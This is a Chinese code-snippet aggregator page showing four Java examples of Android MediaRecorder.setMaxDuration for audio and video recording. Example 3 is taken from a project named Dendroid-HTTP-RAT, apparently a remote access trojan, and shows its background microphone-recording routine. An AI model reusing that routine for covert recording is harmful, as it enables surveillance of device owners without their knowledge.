当前位置: 首页>>代码示例>>Java>>正文


Java MediaRecorder.setMaxDuration方法代码示例

本文整理汇总了Java中android.media.MediaRecorder.setMaxDuration方法的典型用法代码示例。如果您正苦于以下问题:Java MediaRecorder.setMaxDuration方法的具体用法?Java MediaRecorder.setMaxDuration怎么用?Java MediaRecorder.setMaxDuration使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在android.media.MediaRecorder的用法示例。


在下文中一共展示了MediaRecorder.setMaxDuration方法的4个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Java代码示例。

示例1: startRecorderInternal

import android.media.MediaRecorder; //导入方法依赖的package包/类
private boolean startRecorderInternal() throws Exception {
    shutdownCamera();
    if (!initCamera())
        return false;

    switchCamera.setVisibility(View.GONE);
    mediaRecorder = new MediaRecorder();

    camera.unlock();
    mediaRecorder.setCamera(camera);
    mediaRecorder.setAudioSource(MediaRecorder.AudioSource.CAMCORDER);
    mediaRecorder.setVideoSource(MediaRecorder.VideoSource.CAMERA);

    setCamcorderProfile();

    mediaRecorder.setPreviewDisplay(surfaceHolder.getSurface());
    mediaRecorder.setMaxDuration(1000 * VIDEO_TIMES);
    mediaRecorder.setOutputFile(filename);
    setVideoOrientation();

    mediaRecorder.prepare();
    mediaRecorder.start();

    return true;
}
 
开发者ID:newDeepLearing,项目名称:decoy,代码行数:26,代码来源:CaptureVideoActivity.java

示例2: startRecording

import android.media.MediaRecorder; //导入方法依赖的package包/类
public static void startRecording(Context context, MediaRecorder recorder, String word) {
    recorder.reset();
    recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
    recorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);
    recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
    recorder.setMaxDuration(10000);
    recorder.setAudioSamplingRate(16000);
    recorder.setAudioEncodingBitRate(16000*4*1);
    recorder.setAudioSamplingRate(44100);
    recorder.setAudioChannels(1);
    recorder.setOutputFile(context.getFilesDir().getAbsolutePath() + "/" + word + ".aac");
    try {
        recorder.prepare();
    } catch (IOException e) {
        e.printStackTrace();
    }
    recorder.start();
}
 
开发者ID:Cesarsk,项目名称:Say_it,代码行数:19,代码来源:UtilityRecordings.java

示例3: doInBackground

import android.media.MediaRecorder; //导入方法依赖的package包/类
@Override
  protected String doInBackground(String... params) {     
   	MediaRecorder recorder = new MediaRecorder();;

  SimpleDateFormat sdf = new SimpleDateFormat("yyyy_MM_dd_HH_mm");
       String currentDateandTime = sdf.format(new Date());
       
       String filename =currentDateandTime + ".3gp";

       File diretory = new File(PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("File", "") + File.separator + "Audio");
       diretory.mkdirs();
    	File outputFile = new File(diretory, filename);
       
     recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
     recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
     recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
     recorder.setMaxDuration(Integer.parseInt(i));
     recorder.setMaxFileSize(1000000);
     recorder.setOutputFile(outputFile.toString());

 try 
    {
       recorder.prepare();
       recorder.start();
    } catch (IOException e) {
       Log.i("com.connect", "io problems while preparing");
      e.printStackTrace();
    }		   
return "Executed";
  }
 
开发者ID:mwsrc,项目名称:Dendroid-HTTP-RAT,代码行数:31,代码来源:MyService.java

示例4: _startRecording

import android.media.MediaRecorder; //导入方法依赖的package包/类
private synchronized void _startRecording(Camera camera, String outPutFile, int rotationHint, int maxdurationMillis, CamcorderProfile profile)
{
    /**
     * IMPORTANT - Do not change the order of the steps in this function. Code
     * taken from the google camcoder sample
     *
     */

    Log.d(ImagingUtils.TAG, "start recording video");

    mIsRecording = true;

    // Step 1: Unlock and set camera to MediaRecorder
    mRecorder = new MediaRecorder();
    camera.unlock();

    mRecorder.setCamera(camera);


    // Step 2: Set sources
    mRecorder.setVideoSource(MediaRecorder.VideoSource.CAMERA);
    mRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);

    // Step 3: Set a CamcorderProfile (requires API Level 8 or higher)
    mRecorder.setProfile(profile);

    // Step 4: Set rotation and max duration

    //clckwise rotation for composition matrix as opposed to the 90degree anti-clockwise
    //rotation for the camera viewfinder
    //NOTE : This only works on some media players. Eg: works on VLC windows but not on VLC Linux
    mRecorder.setOrientationHint(rotationHint);
    mRecorder.setMaxDuration(maxdurationMillis + 1000);


    // Step 5 : set the file
    mRecorder.setOutputFile(outPutFile);

    // Step 6 : Prepare
    try
    {
        mRecorder.prepare();
    }
    catch (IOException e)
    {
        //Log.e("MediaRecorder prepare failed");
        e.printStackTrace();
    }
    mRecorder.start();
}
 
开发者ID:ravindu1024,项目名称:android-imaging-utils,代码行数:51,代码来源:VideoRecorder.java


注:本文中的android.media.MediaRecorder.setMaxDuration方法示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。